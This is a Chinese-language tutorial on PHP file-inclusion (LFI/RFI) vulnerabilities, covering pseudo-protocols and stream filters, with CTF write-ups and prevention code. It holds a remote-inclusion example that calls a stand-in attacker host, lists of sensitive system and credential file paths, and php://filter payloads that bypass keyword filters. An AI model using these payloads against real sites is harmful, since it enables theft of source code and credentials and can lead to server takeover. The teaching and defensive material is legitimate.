文件包含
什么是文件包含
##### 文件包含是一种在编程中常用的技术,尤其在 Web 开发领域较为常见,它允许一个程序将另一个文件的内容整合到自身代码里
用途
- 代码复用:能够把常用的代码封装在单独的文件里,在多个程序中重复使用,提高开发效率
- 模块化开发:将程序拆分成多个模块,每个模块负责特定的功能,方便代码的管理和维护
漏洞产生原因
- 动态文件包含机制
- 应用程序使用动态包含功能(如 PHP 的
include()
、require()
,Java 的RequestDispatcher
等)时,若未对用户输入的文件名进行有效过滤,攻击者可通过构造恶意路径包含任意文件
- 应用程序使用动态包含功能(如 PHP 的
- 路径遍历攻击
- 攻击者通过输入类似
../../etc/passwd
的路径,绕过应用程序的目录限制,访问系统敏感文件
- 攻击者通过输入类似
- 远程文件包含(RFI)
- 若服务器配置允许(如 PHP 的
allow_url_include
为On
),攻击者可指定远程 URL 包含恶意代码(如http://attacker.com/shell.php
)
- 若服务器配置允许(如 PHP 的
- 逻辑缺陷
- 应用程序未正确验证文件类型或路径,导致恶意文件被执行(如将
.php
文件伪装成.jpg
)
- 应用程序未正确验证文件类型或路径,导致恶意文件被执行(如将
可能利用漏洞
- 本地文件包含(LFI):攻击者可以通过构造恶意的文件路径,让应用程序包含本地的敏感文件,像配置文件、数据库文件等,从而获取敏感信息。
- 远程文件包含(RFI):攻击者可以诱导应用程序包含远程服务器上的恶意文件,进而执行恶意代码,控制服务器。
常见函数
- require():找不到被包含的文件会产生致命错误,并停止脚本运行
- include():找不到被包含的文件只会产生警告,脚本继续执行
- **require_once()**与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
- **include_once()**与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
敏感文件默认路径
#### Windows
*
```css
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息
C:\Windows\system.ini // 系统初始化配置文件,记录了一些早期 Windows 系统的配置信息
C:\Windows\win.ini //Windows 系统早期的初始化配置文件,涉及系统运行、桌面设置等相关配置
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup // 系统开机启动项文件夹,可查看哪些程序随系统自动启动
C:\Users\All Users\Application Data // 所有用户共享的应用程序数据文件夹,可能包含一些全局配置信息
C:\inetpub\logs\LogFiles //IIS 服务器日志文件存放目录,可用于分析网站访问情况
```
#### Linux
*
```css
/etc/passwd //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件
/var/log/nginx/access.log ////日志文件
/etc/group // 用户组信息文件,记录系统中所有用户组的相关信息
/etc/profile // 系统全局环境变量和启动脚本配置文件,用户登录时会执行其中配置
/root/.bashrc //root 用户的 bash shell 配置文件,定义 root 用户 bash 环境的个性化设置
/var/log/secure // 记录系统安全相关事件,如用户登录尝试(成功或失败)等信息
/usr/local/nginx/conf/nginx.conf //Nginx 服务器默认配置文件 ,用于配置 Nginx 服务相关参数
```
PHP伪协议(此处只列举几个常用的)
#### php://filter
*
##### 用途:用于对数据流进行过滤和转换,如 Base64 编码、HTML 实体编码等,当它与包含函数一起使用时,读取的文件由于是源码形式,会被当做php文件进行执行,故通常对其进行编码,防止被执行
*
##### 协议的基本格式
*
```php
php://filter/过滤器名称/resource=要读取的文件路径
```
*
##### 实例
*
```php
<?php
$file = 'example.txt';
$base64_encoded = file_get_contents('php://filter/convert.base64-encode/resource=' . $file);
echo $base64_encoded;
?>
```
*
##### 输出:会将"example.txt"文件的内容进行base64编码后输出
#### php://input
*
##### 用途:用于读取原始的 HTTP 请求体的内容。它主要用于处理 POST 请求中发送的数据,可以接受POST请求作为输入流的输入,将请求作为输入传递给目标变量,特别是当数据是以 JSON 或 XML 格式发送,或者是其他非表单数据格式时
*
##### 协议的基本格式
*
```php
file=php://input
```
*
##### 实例
*
```php
//当使用此协议时,需要通过POST方法进行传参
```

#### data://
*
##### 用途:用于直接在 URL 中嵌入数据,通常用于传递小型的文本或二进制数据
*
##### 协议的基本格式
*
```php
file=data://[<mime-type>][;base64],<data>
```
* **`<mime-type>`** :这是可选参数,用于指定数据的 MIME 类型,例如 `text/plain` 表示纯文本,`application/json` 表示 JSON 数据等。若未指定,默认的 MIME 类型是 `text/plain`。
* **`;base64`** :同样是可选参数,若指定了这个参数,后面的 `<data>` 部分必须是经过 Base64 编码的数据。
* **`<data>`** :这是实际要嵌入的数据内容。如果没有指定 `;base64`,则 `<data>` 为普通的文本数据;若指定了 `;base64`,则 `<data>` 需是 Base64 编码后的字符串
*
##### 实例
*
```php
<?php
// 读取 Base64 编码的文本数据
$content = file_get_contents('data://text/plain;base64,' . base64_encode('Hello, World!'));
echo $content;
?>
```
*
##### 输出:会输出原文
#### zip://
*
##### 用途:用于访问 ZIP 压缩文件中的文件,这在需要直接读取或操作 ZIP 压缩包内文件时非常有用
*
##### 协议的基本格式
*
```php
zip://<zip_file_path>#<file_path_in_zip>
```
* **`<zip_file_path>`**:ZIP 压缩文件在服务器文件系统中的完整路径。可以是相对路径(相对于当前工作目录)或绝对路径。
* **`#`**:分隔符,用于分隔 ZIP 压缩文件路径和压缩包内文件的路径。
* **`<file_path_in_zip>`**:ZIP 压缩包内要访问的文件的路径。该路径是相对于 ZIP 压缩包根目录的
*
##### 实例
*
```php
<?php
// ZIP 压缩文件的路径
$zipFilePath = 'path/to/your/archive.zip';
// 压缩包内要访问的文件路径
$fileInZip = 'example.txt';
// 构造 zip:// 伪协议的 URL
$url = 'zip://' . $zipFilePath . '#' . $fileInZip;
// 读取文件内容
$fileContent = file_get_contents($url);
if ($fileContent === false) {
echo "读取文件失败,可能是文件不存在或权限不足。";
} else {
echo $fileContent;
}
?>
```
*
##### 输出:会将在"zipFilePath"压缩包下名为"fileInZip"的文件内容输出
#### file://
*
##### 用途:用于访问本地文件系统中的文件,它可以让你像访问远程资源一样访问本地文件
*
##### 协议基本格式
*
```php
file://<文件路径>
```
* `<文件路径>` 可以是相对路径或者绝对路径。在不同操作系统中,路径的表示方式有所不同:
* **Windows 系统** :路径使用反斜杠 `\` 作为分隔符,但在 PHP 字符串里需要用双反斜杠 `\\` 或者单斜杠 `/` 来转义。例如,`file://C:/Users/username/Documents/example.txt` 或者 `file://C:\\Users\\username\\Documents\\example.txt`。
* **Linux 系统** :路径使用正斜杠 `/` 作为分隔符,例如 `file:///home/username/Documents/example.txt`。
*
##### 实例(读取文件,配合file_get_contents函数使用)
*
```php
<?php
// Windows 系统示例
$windowsFilePath = 'file://C:/Users/username/Documents/example.txt';
$windowsContent = file_get_contents($windowsFilePath);
if ($windowsContent === false) {
echo "读取 Windows 文件失败。";
} else {
echo $windowsContent;
}
// Linux 系统示例
$linuxFilePath = 'file:///home/username/Documents/example.txt';
$linuxContent = file_get_contents($linuxFilePath);
if ($linuxContent === false) {
echo "读取 Linux 文件失败。";
} else {
echo $linuxContent;
}
?>
```
*
##### 写入文件,配合file_put_contents函数使用
*
```php
<?php
// Windows 系统示例
$windowsFilePath = 'file://C:/Users/username/Documents/output.txt';
$data = "这是要写入文件的内容。";
$bytesWritten = file_put_contents($windowsFilePath, $data);
if ($bytesWritten === false) {
echo "写入 Windows 文件失败。";
} else {
echo "成功写入 $bytesWritten 字节到 Windows 文件。";
}
// Linux 系统示例
$linuxFilePath = 'file:///home/username/Documents/output.txt';
$bytesWritten = file_put_contents($linuxFilePath, $data);
if ($bytesWritten === false) {
echo "写入 Linux 文件失败。";
} else {
echo "成功写入 $bytesWritten 字节到 Linux 文件。";
}
?>
```
#### http:// 与 https://(远程文件包含)
*
##### 用途:主要用于访问远程的 HTTP 或 HTTPS 资源,像网页、API 接口
*
##### 基本命令格式
*
```php
file = http://example.com/attack.php
```
*
##### 实例
*
```php
<?php
// 使用 http:// 协议读取远程网页内容
$httpUrl = 'http://example.com';
$httpContent = file_get_contents($httpUrl);
if ($httpContent === false) {
echo "读取 http 资源失败。";
} else {
echo $httpContent;
}
// 使用 https:// 协议读取远程网页内容
$httpsUrl = 'https://example.com';
$httpsContent = file_get_contents($httpsUrl);
if ($httpsContent === false) {
echo "读取 https 资源失败。";
} else {
echo $httpsContent;
}
?>
```
常见的过滤器(承接上处的php://filter)
#### 字符串过滤器
*
#### 名称:string.rot13
*
##### 命令基本格式
*
```php
php://filter/read=string.rot13/resource=目标文件名
```
*
##### 原理
* 将字母表中的每个字母替换为其在字母表中 13 个位置之后的字母 ,对字符串进行编码或解码
*
##### 实例
*
```php
<?php
// 读取test.txt文件内容并应用string.rot13过滤器
$content = file_get_contents("php://filter/read=string.rot13/resource=test.txt");
echo $content;
?>
```
*
##### 输出:假设 test.txt 内容为`Hello, World!`,经过`string.rot13`过滤器处理后,输出`Uryyb, Jbeyq!`
*
#### 名称:string.toupper
*
##### 命令基本格式
*
```php
php://filter/read=string.toupper/resource=目标文件名
```
*
##### 原理
* 将字母表中的每个字母替换为大写字母 ,对字符串进行编码或解码
*
##### 实例
*
```php
<?php
// 读取test.txt文件内容并应用string.toupper过滤器
$content = file_get_contents("php://filter/read=string.toupper/resource=test.txt");
echo $content;
?>
```
*
##### 输出:假设 test.txt 内容为`Hello, World!`,经过`string.toupper`过滤器处理后,输出`HEELO,WORLD!`
*
#### 名称:string.tolower
*
##### 功能与string.toupper差不多,只是只是将内容全部转换为小写,在此不多赘述
*
#### 名称:string.strip_tags(绕过死亡exit)
*
##### 命令基本格式
*
```php
strip_tags ( string $str [, string|array $allowable_tags = null ] ) : string
```
* **`$str`**:此为必需参数,代表要处理的字符串。
* **`$allowable_tags`**:这是可选参数,它可以是字符串或者数组类型。该参数用于指定允许保留的标签,除此之外的标签都会被移除
*
##### 原理
* 从字符串里移除 HTML 和 PHP 标签的内置函数
*
##### 实例
*
```php
<?php
$fp = fopen('php://output', 'w');
//允许存在标签<b><i><u>
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b><i><u>");
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
fclose($fp);
/* 输出: bolded text enlarged to a level 1 heading */
//效果与上述一样
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','i','u'));
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>\n");
fclose($fp);
/* 输出: bolded text enlarged to a level 1 heading */
?>
```
*
##### 输出:
```php
<b>bolded text</b> enlarged to a level 1 heading
<b>bolded text</b> enlarged to a level 1 heading
```
### 转换过滤器
*
#### 名称:convert.base64-encode (decode)
*
##### 基本命令格式
*
```php
php://filter/read=convert.base64-encode(convert.base64-decode)/resource=
```
*
##### 原理
* 将想要读取的源文件进行base64编码或者解码读取,防止源文件被当做php文件执行
*
##### 实例
*
```php
<?php
//进行base64编码,输出编码
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode');
fwrite($fp, "This is a test.\n");
fclose($fp);
//将输入内容进行base64编码,每八个字符为一组输出
$param = array('line-length' => 8, 'line-break-chars' => "\r\n");
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param);
fwrite($fp, "This is a test.\n");
fclose($fp);
//将输入内容进行base64解码,然后输出
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-decode');
fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==");
fclose($fp);
?>
```
* 输出:
```php
//第一个输出
VGhpcyBpcyBhIHRlc3QuCg==
//第二个输出
VGhpcyBp
cyBhIHRl
c3QuCg==
//第三个输出
This is a test.
```
*
#### 名称:convert.quoted-printable-encode (decode)
*
##### 基本命令格式
*
```php
php://filter/read=convert.quoted-printable-encode(decode)/resource=
```
*
##### 原理
* 将数据编码为引用可打印(Quoted-Printable)格式
* 引用可打印编码是一种文本编码方式,主要用于在只能处理 ASCII 字符的环境中安全传输包含非 ASCII 字符或特殊字符的数据。它的编码规则如下:
* 对于 ASCII 码范围在 33 到 126 之间(除了等号 `=`)的可打印字符,保持不变。
* 对于换行符(LF 或 CR+LF),保持不变。
* 对于其他所有字符,包括非 ASCII 字符、控制字符和等号 `=`,将其转换为 `=` 后面跟两个十六进制数字来表示该字符的 ASCII 码值
*
##### 实例
*
```php
<?php
// 原始数据,包含非 ASCII 字符
$originalData = "Hello, 世界!";
// 使用过滤器进行引用可打印编码
$encodedStream = fopen('php://filter/read=convert.quoted-printable-encode/resource=php://memory', 'r+');
fwrite($encodedStream, $originalData);
rewind($encodedStream);
$encodedData = stream_get_contents($encodedStream);
// 输出结果
echo "原始数据: " . $originalData . "\n";
echo "编码数据: " . $encodedData . "\n";
// 关闭流
fclose($encodedStream);
?>
```
*
##### 输出
```php
原始数据: Hello, 世界!
编码数据: Hello, =E4=B8=96=E7=95=8C!
```
*
#### 名称:convert.iconv.\*
*
##### 基本命令格式
*
```php
php://filter/read=convert.iconv.<input-encoding>.<output-encoding>/resource=
```
*
##### 原理
* 把输入数据从一种字符编码转换为另一种字符编码,以此保证数据在不同编码环境下可正确显示和处理,它借助 PHP 的 `iconv` 函数库来实现字符编码转换,`iconv` 函数库可识别多种字符编码,并能在它们之间进行转换
*
##### 实例
*
```php
<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "T\0h\0i\0s\0 \0i\0s\0 \0a\0 \0t\0e\0s\0t\0.\0\n\0");
fclose($fp);
?>
```
*
##### 输出
```php
This is a test.
```
*
##### php支持的编码
*
```php
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac(别名:MacJapanese)
SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
SJIS-Mobile#KDDI(别名:SJIS-KDDI)
SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
JIS
JIS-ms
CP50220
CP50220raw
CP50221
CP50222
ISO-8859-1*
ISO-8859-2*
ISO-8859-3*
ISO-8859-4*
ISO-8859-5*
ISO-8859-6*
ISO-8859-7*
ISO-8859-8*
ISO-8859-9*
ISO-8859-10*
ISO-8859-13*
ISO-8859-14*
ISO-8859-15*
ISO-8859-16*
byte2be
byte2le
byte4be
byte4le
BASE64
HTML-ENTITIES(别名:HTML)
7bit
8bit
EUC-CN*
CP936
GB18030
HZ
EUC-TW*
CP950
BIG-5*
EUC-KR*
UHC(别名:CP949)
ISO-2022-KR
Windows-1251(别名:CP1251)
Windows-1252(别名:CP1252)
CP866(别名:IBM866)
KOI8-R*
KOI8-U*
ArmSCII-8(别名:ArmSCII8)
```
### [压缩过滤器和转换过滤器](https://www.php.net/manual/zh/filters.php)(需要的自行查看,不做赘述)
实战
#### [file_include(江苏工匠杯)](https://adworld.xctf.org.cn/challenges/list)
*
##### 进入,发现直接给出了源码,其中包含了一个名为check.php的文件
*
##### 进入hack Bar,看看是否可以直接访问此页面,发现为空白页面
*
##### 还记得我们上述提到的关于php读取文件的伪协议php://filter吗,payload后尝试看一下,由于存在过滤,所以payload当然越简单越好,所以我们就不带上参数(如read,write等)进行payload
```php
payload
filename=php://filter/convert.base64-encode/resource=check.php
```

*
##### 发现新大陆,页面出现了"do not hack",那这大概率就是check.php这个页面会对提交的命令进行检查,如果发现不合法字符,就返回页面出现的这个命令。那么大概率是对base64进行了过滤,还记得我们上面提到的过滤器吗,先尝试一下字符过滤器
*
##### 发现还是被过滤了,接下来尝试字符过滤器的其他类,发现都被过滤了,好吧,没关系,继续往下试,由于转换过滤器中的base64一开始就试过了,那么尝试一下其他类的,payload如下
```php
filename=php://filter/convert.quoted-printable-encode/resource=check.php
```

*
##### 继续往下尝试,尝试 iconv 这类方法,payload如下
```php
filename=php://filter/convert.iconv.utf8.utf16/resource=check.php
```

*
##### 终于,也是好起来了,我们从回显中可以看到对"read""base"等关键字都进行了过滤,所以当网页对很多关键字进行过滤时,命令越简短越好
*
##### 最后访问flag.php页面,获得最终的flag
```php
payload
filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php
```

#### [fileinclude(CTF)](https://adworld.xctf.org.cn/challenges/list)
*
##### 进入题目,发现还是以源码形式展现,这个题很简单,要求通过GET传参两个参数,其中file2需要对其进行内容检查,file1并没有要求,那我们只需要让 file2 满足要求,让 file1 来读取flag.php的内容即可
*
##### 那么问题来了,如何让file2的内容为"hello ctf",还记得上面讲的php伪协议吗,在这里可以运用此协议将数据写入file2中
*
#### 方法一 data://
*
##### payload如下
```php
//payload1
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf
//payload2
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain;base64,aGVsbG8gY3Rm
```
*
##### 提交获得答案,进行base64解码即可
*
#### 方法二 php://input
*
##### payload如下
```php
?file2=php://input&file1=php://filter/convert.base64-encode/resource=flag.php
```
*
##### 输入此URL,打开BP进行抓包,然后写入POST参数
*
##### 发送至重发模块,发送,获得flag
*
##### 使用BP自带的解码工具进行解码,选中编码内容,右侧获得flag
#### [fileinclude(宜兴网信办)](https://adworld.xctf.org.cn/challenges/list)
*
##### 进入例题,发现直接告诉我们flag位置,还问我们要选择的语言
*
##### 发现没有其他有用的信息,查看页面源码,代码审计,页面会对每一次的请求获取它的cookies,键为language,如果没有这个键的cookies,那么就自动设置为english,并且返回其php界面,如果有这个键的cookies,就将其加上".php"变为PHP后包含
*
##### 那么现在思路清晰了,首先需要将cookies对应的language键对应的value设置为存在值,否则就会显示english.php这个界面,都知道出题人没有这么好心,所以我们肯定要跳出这个检查条件,然后language的值应该为什么呢,如果是english,最后会包含输出english.php这个界面,如果是chinese,最后就会包含输出chinese.php这个界面,开头给了提示,说flag在flag.php这个界面,如果language的值为flag,最后是不是就会输出flag.php,最后用上咱上面讲到的伪协议进行读取
*
##### payload如下
```php
language=php://filter/convert.base64-encode/resource=flag
```
*
##### 使用BP抓包,发送至重发模块
*
##### 发现请求包中并没有cookies,在这里我们点击右边的"Request cookies"添加cookies信息
*
##### 添加之后,进行发送,获得编码的flag,解码后获得flag明文
预防措施
-
-
白名单验证 ,如仅允许包含预定义的安全文件路径(如
/var/www/include/
下的文件)php$allowed_files = ['header.php', 'footer.php']; if (in_array($_GET['file'], $allowed_files)) { include $_GET['file']; }
-
禁止路径遍历符号 ,如过滤
../
、/
等字符,或使用realpath()
规范化路径php$file = realpath($_GET['file']); if (strpos($file, '/var/www/allowed/') !== 0) { die("Access denied"); }
-
限制文件访问范围 ,如使用
open_basedir
(PHP)或类似配置限制文件访问目录或避免使用相对路径,强制使用绝对路径php; php.ini配置 open_basedir = "/var/www/allowed/:/tmp"
-
禁用危险配置
- 关闭远程文件包含功能(如 PHP 的
allow_url_include = Off
) - 限制文件上传目录的执行权限(如设置为
755
并禁止 PHP 解析)
- 关闭远程文件包含功能(如 PHP 的
-
输入转义与过滤 ,使用
basename()
函数获取文件名,剥离路径信息php$file = basename($_GET['file']); include "/var/www/allowed/" . $file;
对特殊字符(如
?
,%
,#
)进行 URL 解码和转义 -
最小化文件权限
- 确保 Web 服务器账户(如
www-data
)仅拥有必要的文件读取权限。 - 敏感文件(如配置文件)存放在 Web 根目录外
- 确保 Web 服务器账户(如
-
日志监控与应急响应
- 记录异常文件包含请求,及时发现攻击行为。
- 定期更新框架和依赖库,修复已知漏洞(如旧版 CMS 的文件包含漏洞)
-
实例代码
php
// 安全的文件包含实现
$allowed_dir = '/var/www/allowed/';
$file = $_GET['file'];
// 1. 检查文件路径是否合法
if (!is_string($file) || empty($file)) {
die("Invalid file");
}
// 2. 规范化路径并验证是否在允许目录内
$real_path = realpath($allowed_dir . $file);
if ($real_path === false || strpos($real_path, $allowed_dir) !== 0) {
die("Access denied");
}
// 3. 检查文件类型(可选)
if (!preg_match('/\.(php|html)$/', $real_path)) {
die("Invalid file type");
}
// 4. 包含文件
include $real_path;